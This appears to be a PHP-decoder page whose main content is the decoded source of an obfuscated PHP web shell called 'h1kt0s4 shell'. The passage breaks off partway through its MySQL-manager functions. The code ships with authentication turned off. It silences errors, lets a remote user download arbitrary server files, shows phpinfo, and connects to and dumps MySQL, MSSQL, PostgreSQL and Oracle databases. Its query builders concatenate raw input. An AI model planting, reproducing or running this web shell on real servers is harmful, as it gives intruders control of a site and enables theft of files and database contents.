Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? eval(gzinflate(base64_decode(' 7L15fxq50jD695vfL9+hx8fPwT5xbBbbMck4Z9jd GLDZl5m5e..
Decoded Output download
?>
<?
/******************************************************************************************************/
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* (c)oded by SnIpEr_SA,Developed by h1kt0s4
/* MAIL http://vnbrain.net , http://vnhack.net
/******************************************************************************************************/
/* ~~~ | Options ~~~ */
// ~~~~| Language
// $language='eng' - english (english)
// $language='ar' - arabi (arabi)
$language='eng';
// ~~~~~~~ | Authentification
// $auth = 1; -( authentification = On )
// $auth = 0; - ( authentification = Off )
$auth = 0;
// (Login & Password for access)
//(CHANGE THIS!!!)
// 'h1kt0s4'
// ma hoa user va pass bang thuat toan md5
$name='0963b32c662bde64ababb0bee7825fc3'; //(user login)
$pass='0963b32c662bde64ababb0bee7825fc3'; // (user password)
/******************************************************************************************************/
echo "".htmlspecialchars($copy)."";
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.31';
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header('WWW-Authenticate: Basic realm="h1kt0s4 shell"');
header('HTTP/1.0 401 Unauthorized');
exit("<b><a href=http://www.google.com>h1kt0s4</a> : Access Denied</b>");
}
}
$head = '<!-- h1kt0s4 -->
<html>
<head>
<meta http-equiv="Content-Language" content="ar-sa">
<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title>h1kt0s4 shell</title>
<STYLE>
body {
font-family: Tahoma
}
tr {
BORDER-RIGHT: #Black 1px solid;
BORDER-TOP: Black 1px solid;
BORDER-LEFT: Black 1px solid;
BORDER-BOTTOM: #Black 1px solid;
BORDER-COLOR: #333333;
color: #999999;
}
td {
BORDER-RIGHT: #Black 1px solid;
BORDER-TOP: Black 1px solid;
BORDER-LEFT: Black 1px solid;
BORDER-BOTTOM: #Black 1px solid;
BORDER-COLOR: #333333;
color: #999999;
}
.table1 {
BORDER: 0px;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #999999;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
color: #999999;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #999999;
}
table {
BORDER: Black 1px outset;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #999999;
}
input {
border : solid 1px;
border-color : #009900 #009900 #009900 #009900;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: #999999;
}
select {
BORDER-RIGHT: Black 1px solid;
BORDER-TOP: #009900 1px solid;
BORDER-LEFT: #009900 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-color: #999999;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
submit {
BORDER: buttonhighlight 2px outset;
BACKGROUND-COLOR: Black;
width: 30%;
color: #999999;
}
textarea {
BORDER-RIGHT: Black 1px solid;
BORDER-TOP: #009900 1px solid;
BORDER-LEFT: #009900 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
font: Fixedsys bold;
color: #999999;
}
BODY {
SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #999999; SCROLLBAR-SHADOW-color: #999999; SCROLLBAR-3DLIGHT-color: #999999; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #999999; SCROLLBAR-DARKSHADOW-color: #999999
margin: 1px;
color: Red;
background-color: Black;
}
.main {
margin : -287px 0px 0px -490px;
border : #009900 solid 1px;
BORDER-COLOR: #333333;
}
.tt {
background-color: Black;
}
A:link {
COLOR: White; TEXT-DECORATION: none
}
A:visited {
COLOR: White; TEXT-DECORATION: none
}
A:hover {
color: Red; TEXT-DECORATION: none
}
A:active {
color: Red; TEXT-DECORATION: none
}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
document.getElementById(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getElementById(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$this -> datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset += strlen($fr);
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == 'bzip' && @function_exists('bzcompress'))
{
$filename .= '.bz2';
$mime_type = 'application/x-bzip2';
$filedump = bzcompress($filedump);
}
else if ($compress == 'gzip' && @function_exists('gzencode'))
{
$filename .= '.gz';
$content_encoding = 'x-gzip';
$mime_type = 'application/x-gzip';
$filedump = gzencode($filedump);
}
else if ($compress == 'zip' && @function_exists('gzcompress'))
{
$filename .= '.zip';
$mime_type = 'application/zip';
$zipfile = new zipfile();
$zipfile -> addFile($filedump, substr($filename, 0, -4));
$filedump = $zipfile -> file();
}
else
{
$mime_type = 'application/octet-stream';
}
}
function mailattach($to,$from,$subj,$attach)
{
$headers = "From: $from\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: ".$attach['type'];
$headers .= "; name=\"".$attach['name']."\"\r\n";
$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
if(@mail($to,$subj,"",$headers)) { return 1; }
return 0;
}
class my_sql
{
var $host = 'localhost';
var $port = '';
var $user = '';
var $pass = '';
var $base = '';
var $db = '';
var $connection;
var $res;
var $error;
var $rows;
var $columns;
var $num_rows;
var $num_fields;
var $dump;
function connect()
{
switch($this->db)
{
case 'MySQL':
if(empty($this->port)) { $this->port = '3306'; }
if(!function_exists('mysql_connect')) return 0;
$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
if(is_resource($this->connection)) return 1;
break;
case 'MSSQL':
if(empty($this->port)) { $this->port = '1433'; }
if(!function_exists('mssql_connect')) return 0;
$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
if($this->connection) return 1;
break;
case 'PostgreSQL':
if(empty($this->port)) { $this->port = '5432'; }
$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
if(!function_exists('pg_connect')) return 0;
$this->connection = @pg_connect($str);
if(is_resource($this->connection)) return 1;
break;
case 'Oracle':
if(!function_exists('ocilogon')) return 0;
$this->connection = @ocilogon($this->user, $this->pass, $this->base);
if(is_resource($this->connection)) return 1;
break;
}
return 0;
}
function select_db()
{
switch($this->db)
{
case 'MySQL':
if(@mysql_select_db($this->base,$this->connection)) return 1;
break;
case 'MSSQL':
if(@mssql_select_db($this->base,$this->connection)) return 1;
break;
case 'PostgreSQL':
return 1;
break;
case 'Oracle':
return 1;
break;
}
return 0;
}
function query($query)
{
$this->res=$this->error='';
switch($this->db)
{
case 'MySQL':
if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
{
$this->error = @mysql_error($this->connection);
return 0;
}
else if(is_resource($this->res)) { return 1; }
return 2;
break;
case 'MSSQL':
if(false===($this->res=@mssql_query($query,$this->connection)))
{
$this->error = 'Query error';
return 0;
}
else if(@mssql_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'PostgreSQL':
if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection);
return 0;
}
else if(@pg_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case 'Oracle':
if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = 'Query parse error';
}
else
{
if(@ociexecute($this->res))
{
if(@ocirowcount($this->res) != 0) return 2;
return 1;
}
$error = @ocierror();
$this->error=$error['message'];
}
break;
}
return 0;
}
function get_result()
{
$this->rows=array();
$this->columns=array();
$this->num_rows=$this->num_fields=0;
switch($this->db)
{
case 'MySQL':
$this->num_rows=@mysql_num_rows($this->res);
$this->num_fields=@mysql_num_fields($this->res);
while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
@mysql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case 'MSSQL':
$this->num_rows=@mssql_num_rows($this->res);
$this->num_fields=@mssql_num_fields($this->res);
while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
@mssql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
break;
case 'PostgreSQL':
$this->num_rows=@pg_num_rows($this->res);
$this->num_fields=@pg_num_fields($this->res);
while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
@pg_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case 'Oracle':
$this->num_fields=@ocinumcols($this->res);
while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
@ocifreestatement($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
}
return 0;
}
function dump($table)
{
if(empty($table)) return 0;
$this->dump=array();
$this->dump[0] = '##';
$this->dump[1] = '## --------------------------------------- ';
$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
$this->dump[3] = '## Database: '.$this->base;
$this->dump[4] = '## Table: '.$table;
$this->dump[5] = '## --------------------------------------- ';
switch($this->db)
{
case 'MySQL':
$this->dump[0] = '## MySQL dump';
if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
$this->dump[] = $this->rows[0]['Create Table'];
$this->dump[] = '## --------------------------------------- ';
if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'MSSQL':
$this->dump[0] = '## MSSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'PostgreSQL':
$this->dump[0] = '## PostgreSQL dump';
if($this->query('SELECT * FROM '.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
}
break;
case 'Oracle':
$this->dump[0] = '## ORACLE dump';
$this->dump[] = '## under construction';
break;
default:
return 0;
break;
}
return 1;
}
function close()
{
switch($this->db)
{
case 'MySQL':
@mysql_close($this->connection);
break;
case 'MSSQL':
@mssql_close($this->connection);
break;
case 'PostgreSQL':
@pg_close($this->connection);
break;
case 'Oracle':
@oci_close($this->connection);
break;
}
}
function affected_rows()
{
switch($this->db)
{
case 'MySQL':
return @mysql_affected_rows($this->res);
break;
case 'MSSQL':
return @mssql_affected_rows($this->res);
break;
case 'PostgreSQL':
return @pg_affected_rows($this->res);
break;
case 'Oracle':
return @ocirowcount($this->res);
break;
default:
return 0;
break;
}
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
{
if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
else
{
@ob_clean();
$filename = @basename($_POST['d_name']);
$filedump = @fread($file,@filesize($_POST['d_name']));
fclose($file);
$content_encoding=$mime_type='';
compress($filename,$filedump,$_POST['compress']);
if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
exit();
}
}
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if(isset($_GET['sqlman'])) {
session_start();
$action = $HTTP_GET_VARS['action'];
$pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page.
function show_login($dbnamearray){
$hostdefault="localhost";
echo"<table>";
echo"<form name='showlogin' method='post' action='$action'>";
if(count($hostdefault) > 1){
echo"<tr><td>??? C???????:</td><td><select name=host>";
for($x=0; $x < count($hostdefault);$x++){
echo"<option value=$hostdefault[$x]>$hostdefault[$x]";
}
echo"</select></td></tr>\n";
}else{
echo"<tr><td>Server Databases:</td><td><input type=text name='host' size=15 value=$hostdefault /></td></tr>\n";
}
echo"<tr><td>Username:</td><td><input type=text name='userid' size=15 /></td></tr>\n";
echo"<tr><td>Password:</td><td><input type=password name='pword1' size=15 /></td></tr>\n";
If($dbnamearray != ""){
echo"<tr><td>?C?IE C?E?C?CE:</td><td><select name='dbna'>\n";
for ($i =0; $i < count($dbnamearray); $i++) {
$dbn=$dbnamearray[$i];
echo"<option value=$dbn>$dbn";
}
}
echo"<tr><td><input class=ser type='submit' name='login' value='login' /></td>\n";
echo"<td><input class=ser type=reset name='reset' value='Clear' /></td></tr>\n";
echo"</form></table>\n";
}
function dbrestrict(){
if(isset($_SESSION['user'])){
$user=$_SESSION['user'];
switch($user){
//Edit these ** values. You can add more case statements.
case '**User**':
$dbnamearray= array('**dbname**', '**dbname2**', '**dbname**');
break;
//end edit values
default:
$_SESSION['defaltuser']=true;
$dbnamearray = array();
$link = connectmysql();
$db_list = mysql_list_dbs($link); //$db_list
$cnt = mysql_num_rows($db_list);
for ($i =0; $i < $cnt; $i++) {
$dbnamearray[$i]= mysql_db_name($db_list, $i);
}
}
return $dbnamearray;
}
}
//***************************************************************
//function showdbs($dbnamearray, $backuppath){
function showdbs($dbnamearray){
//$backuppath=addslashes($backuppath);
echo"<table>\n";
for ($i =0; $i < count($dbnamearray); $i++) {
echo"<tr><td>";
$dbn=$dbnamearray[$i];
$va="Go to the base $dbn";
goto(' ', $dbn,$action, 'but', 'db', $va );
$dbs=mysize($dbnamearray[$i],"");
echo"</td><td>$dbs</td></tr>\n";
}
echo"</table>\n";
}
//********************* Show Logout Button **********
function endsess(){
echo"<form method='post' name='endsess' action='$action'>\n";
echo"<input class=ser type='submit' name='logout' value='Logout' />\n";
echo"</form>";
}
//********************************************************************
function connectmysql(){
//Connects to the MySQL Database.
if (isset($_SESSION['user']) && isset($_SESSION['password'])){
$user = $_SESSION['user'];
$pass = $_SESSION['password'];
}else{
display_foot();
echo"\n</body>\n</html>";
exit();
}
$link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']);
if(! $link){
echo"<div class='error'>\n";
echo"Unable to connect to the database server. <BR>";
echo"The Host: $_SESSION[host], Username: $user Or call confidential Ktae. <br>";
echo"As well out of the record attempt once Akharie.\n";
echo"</div>\n";
return false;
exit();
} else{
return $link;
}
}
//*********************************************************************
function connectdb($db, $link){
if(! mysql_select_db($db,$link)){
echo"Unable to locate database $db.<br> Please try again later.\n";
exit();
}
}
//*********************************************************************
function exequery($sql, $tablename, $db){
$result= @mysql_query( $sql );
if($result){
//echo "Query successful";
return $result;
}else{
echo"Sorry your Query failed: $sql <br> error:".mysql_error()."\n";
return false;
}
}
//***************************************************
$fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT",
"INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION",
"REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" );
//****************** Search Form ****************************
function searchtableform($tablename, $dbname){
echo"<form method='post' action='$action'>\n";
echo"<input type=hidden name='dbname' value='$dbname' />\n";
echo"<input type=hidden name='tablename' value='$tablename' />\n";
echo"<input type=text name='searchval' />\n";
echo"<input class=ser type=submit name='search' value='Search $tablename' />\n";
echo"</form>\n";
}
//********************* Search *************************
function searcht($tablename, $dbname, $searchval){
if(! empty($searchval)){
// $searchval= str_replace(";",' ', $searchval);
$result=exequery("Select * from $tablename", $tablename, $dbname);
//$result=mysql_query("Select * from $tablename");
$num = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
$whr="where ";
$tok=explode(" ",$searchval);
for ($t =0; $t < count($tok); $t++){
for ( $c = 0; $c < $num; $c++){
$fn =mysql_field_name($fields, $c);
$whr .=" $fn like '%$tok[$t]%' or ";
}
}
$whr=trim(substr_replace($whr, " ", -3));
$query="Select * from $tablename $whr";
$result=exequery($query, $tablename, $dbname);
return $result;
}
}
//*********************GOTO buttons*************************
//provides a form and button.
function goto($tablename, $dbname, $action, $class, $name, $va ){
//Adds a button.
echo"<form action='$action' method='post' >\n";
if(! eregi('tablestart', $name)){
echo"<input type=hidden name=dbname value='$dbname' />\n";
echo"<input type=hidden name=tablename value='$tablename' />\n";
}
echo"<input class=$class type=submit value='$va' name='$name' />\n";
//echo"<input class=$class type=submit value='$action' name=$name>";
echo"</form>\n";
//echo"<a class=$class href=$action>$va</a>";
//}
}
//*********************** ShowDB ***********************************
function showdb(){
//function showdb($backuppath){
$link=connectmysql();
if ($link){
echo"<div class='db'>";
echo"<div class='cream'>\n";
echo"<h2 class=h >The establishment of a new base</h2>\n";
echo"<form name=cdb action='$action' method='post' >\n";
echo"Name of new rule: <input type=text name=ndbname />\n";
echo"<br /><br /><input class=but type='submit' name='cndb' value='The establishment of a new base' />\n";
echo"</form><br />";
echo"</div>";
echo"<h2 class=h >The list of rules available</h2>\n";
//Restrict the database for users
$dbnamearray= dbrestrict();
showdbs($dbnamearray);
echo"</div>";
}
}
//********************** BuildWhr ******************************
//Builds the Where part of queries.
function buildwhr($pk, $pv){
$whr="";
$pn =count($pv);
for($t =0; $t < $pn; $t++){
$whr.="$pk[$t]='$pv[$t]'";
if($t < $pn-1){
$whr.=" and ";
}
}
if ($whr !=" "){
return $whr;
}else{
return false;
}
}
//***********************ADD Record ******************
function addrecord($tablename, $dbname, $array){
$result=exequery("Select * from $tablename", $tablename, $dbname);
//$result = @mysql_query( "Select * from $tablename" );
$flds = mysql_num_fields($result);
//$fields = mysql_list_fields($dbname, $tablename);
$qry=" ";
$query = "Insert into $tablename Values( ";
for ($x =0; $x < $flds; $x++){
//Multiple Select values for SET
if(is_array($array[$x])){
$mval="";
for($m=0; $m < count($array[$x]); $m++){
if($m+1 == count($array[$x])){
$mval.= AddSlashes($array[$x][$m]);
}else{
$mval.= AddSlashes($array[$x][$m]).",";
}
$fval = $mval;
}
}else{
$fval = AddSlashes($array[$x]);
}
$qry .= "'$fval'";
if ($x < $flds-1){
$qry.= ", ";
}
}
$query .= $qry.")";
// echo"qry: $qry";
$result=exequery($query, $tablename, $dbname);
if($result){
return $result;
}else{
return false;
}
}
//**********************ADD Form **********************
function addform($tablename, $dbname){
//Display the field names and input boxes
echo"<form action='$action' method='post'>\n";
echo"<table border=0 width='100%' align='center'>\n";
echo"<tr class=head><td>Field Name</td><td>Type</td><td>Value</td></tr>\n";
$result=exequery("Select * from $tablename", $tablename, $dbname);
//$result = @mysql_query( "Select * from $tablename" );
$flds = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
echo"<input type=hidden name=tablename value='$tablename' />\n";
echo"<input type=hidden name='dbname' value='$dbname' />\n";
echo"<tr>\n";
$mxlen = 80;//max width of the form fields.
for($i=0; $i < $flds; $i++){
$auto = "false";
echo "<th>".mysql_field_name($fields, $i);
$fieldname = mysql_field_name($fields, $i); // added
$type = mysql_field_type($result, $i);
$flen = mysql_field_len($result, $i);//length of the field
$flagstring = mysql_field_flags ($result, $i);
// Start of new code for set drop down
$newsql = "show columns from $tablename like '%".$fieldname."'";
$newresult = exequery($newsql, $tablename, $dbname);
//mysql_query($newsql) or die ('I cannot get the query because: ' . mysql_error());
$arr=mysql_fetch_array($newresult);
// End of new code block for set drop down
if (eregi("primary",$flagstring )){
$type .= " PK ";
}
if(eregi("auto",$flagstring )){
$type .= " auto_increment";
$auto = "true";
}
if ($auto=="true"){
echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' value=0 /></td></tr>\n";
}elseif($flen > $mxlen){
$rws= $flen/$mxlen;
if($rws>10){
$rws=10; //max length of textarea
}
echo"<td>$type</td><td><textarea name='array[$i]' rows=$rws cols=$mxlen></textarea></td></tr>\n";
// Start of new code for set drop down
}elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum
$num=substr_count($arr[1],',') + 1; // count the number of entries
$pos=strpos($arr[1],'(' ); //find the position of '('
$newstring=substr($arr[1],$pos+1); // get rid of the '???('
$snewstring=str_replace(')','',$newstring); // get rid of the last ')'
$nnewstring=explode(',',$snewstring,$num); // stick into an array
if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
echo "<td>Set (select one or more)</td>";
echo"<td><select name='array[$i][]' size='3' multiple>";
}else{//Enum one value only
echo "<td>Enum</td>";
echo"<td><select name='array[$i]'>";
}
for($y=0; $y<$num;$y++){
echo"<option value=$nnewstring[$y]>$nnewstring[$y]";
}
echo"</select></td></tr>\n";
// End of new code block for set drop down
}else{
echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' /></td></tr>\n";
}
}
echo"<tr><td><input class=but type=submit name='addrec' value='Add Record' /></td>\n";
echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
echo"</tr>";
echo"</table>\n";
echo"</form>\n";
}
//*********************Edit Form ***************
function editform($tablename, $dbname, $result, $edit, $pk, $pv){
$row=mysql_fetch_array($result);
echo"<form action='$action' method=post>\n";
echo"<table border=0 width ='100%' align='center'>\n";
$flds = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
echo"<input type=hidden name=tablename value='$tablename' />\n";
echo"<input type=hidden name='dbname' value='$dbname' />\n";
echo"<tr>";
$mxlen = 80;//max width of the form fields
for($i=0; $i < $flds; $i++){
$fname=mysql_field_name($fields, $i);
echo "<th>$fname";
$flen = mysql_field_len($result, $i);//length of the field
$nslash = StripSlashes($row[$i]);
// Start of new code for set drop down
$newsql = "show columns from $tablename like '%".$fname."'";
$newresult = exequery($newsql, $tablename, $dbname);
$arr=mysql_fetch_array($newresult);
// End of new code block for set drop down
if($flen > $mxlen){
$rws= $flen/$mxlen;
if($rws>10){
$rws=10; //max length of textarea
}
echo"<td><textarea name='array[$i]' rows=$rws cols=$mxlen>$nslash</textarea></td></tr>\n";
// Start of new code for set drop down
}elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum
$num=substr_count($arr[1],',') + 1; // count the number of entries
$pos=strpos($arr[1],'(' ); //find the position of '('
$newstring=substr($arr[1],$pos+1); // get rid of the '???('
$snewstring=str_replace(')','',$newstring); // get rid of the last ')'
$nnewstring=explode(',',$snewstring,$num); // stick into an array
if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
echo"<td><select name='array[$i][]' multiple size='3'>";
}else{//Enum one value only
echo"<td><select name='array[$i]'>";
}
$nsel=explode(",",$nslash);
for($y=0; $y<$num;$y++){
//geteach value 'a,b,c'
$sel="";
for($e=0; $e<count($nsel);$e++){
if($nnewstring[$y]=="'".$nsel[$e]."'"){
$sel="selected";
}
}
echo"<option value=$nnewstring[$y] $sel>$nnewstring[$y]";
}
echo"</select></td></tr>\n";
// End of new code block for set drop down
}else{
echo"<td><input type=text name='array[$i]' size='$flen' value='$nslash' /></td></tr>\n";
}
for($f =0; $f< count($pk);$f++){
echo"<input type=hidden name=pk[$f] value='$pk[$f]' />";
echo"<input type=hidden name=pv[$f] value='$pv[$f]' />\n";
}
}
echo"<tr><td><input class=but type=submit name='editrec' value='Update' /></td>\n";
echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
echo"</tr>";
echo"</table>\n";
echo"</form>\n";
}
//************************Edit Record*************************
function editrec($dbname, $tablename, $pk, $pv, $array){
//$result = @mysql_query( "Select * from $tablename" );
$result = exequery("Select * from $tablename", $tablename, $dbname);
$flds = mysql_num_fields($result);
$fields = mysql_list_fields($dbname, $tablename);
//Build Query
$qry="";
$query = "UPDATE $tablename set ";
for ($x =0; $x < $flds; $x++){
$fie = mysql_field_name($fields, $x );
// SET and ENUM
if(is_array($array[$x])){
$mval="";
for($m=0; $m < count($array[$x]); $m++){
if($m+1 == count($array[$x])){
$mval.= AddSlashes($array[$x][$m]);
}else{
$mval.= AddSlashes($array[$x][$m]).",";
}
$fval = $mval;
}
}else{
$fval = AddSlashes($array[$x]);
}
//**************************
//$fval = AddSlashes($array[$x]);
$qry .= "$fie = '$fval'";
if ($x < $flds-1){
$qry.= ", ";
}
}
$whr = buildwhr( $pk, $pv);
$whr =StripSlashes($whr);
$query .= "$qry";
$query .= " where $whr";
$result=exequery($query, $tablename, $dbname);
if($result){
return $result;
}else{
return false;
}
}
//****************** Number of Primary Keys ***********************
function numpk($result){
$z =0;
for ($i = 0; $i < $flds; $i++) {
//Find the primary key
$flagstring = mysql_field_flags ($result, $i);
if(eregi("primary",$flagstring )){
$z++;
}
}
return $z;
}
//********************Size field*****************
function fieldformsize($ft, $i, $l){
$ft= trim(strtoupper($ft));
if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){
}elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB"){
echo"<input type=hidden name='leng[$i]' value=$l>";
}elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB"){
echo"<input type=hidden name='leng[$i]' value=$l>";
}elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER"){
echo"<input type=text name='leng[$i]' size=5 value=$l>";
}elseif($ft=="YEAR" ){
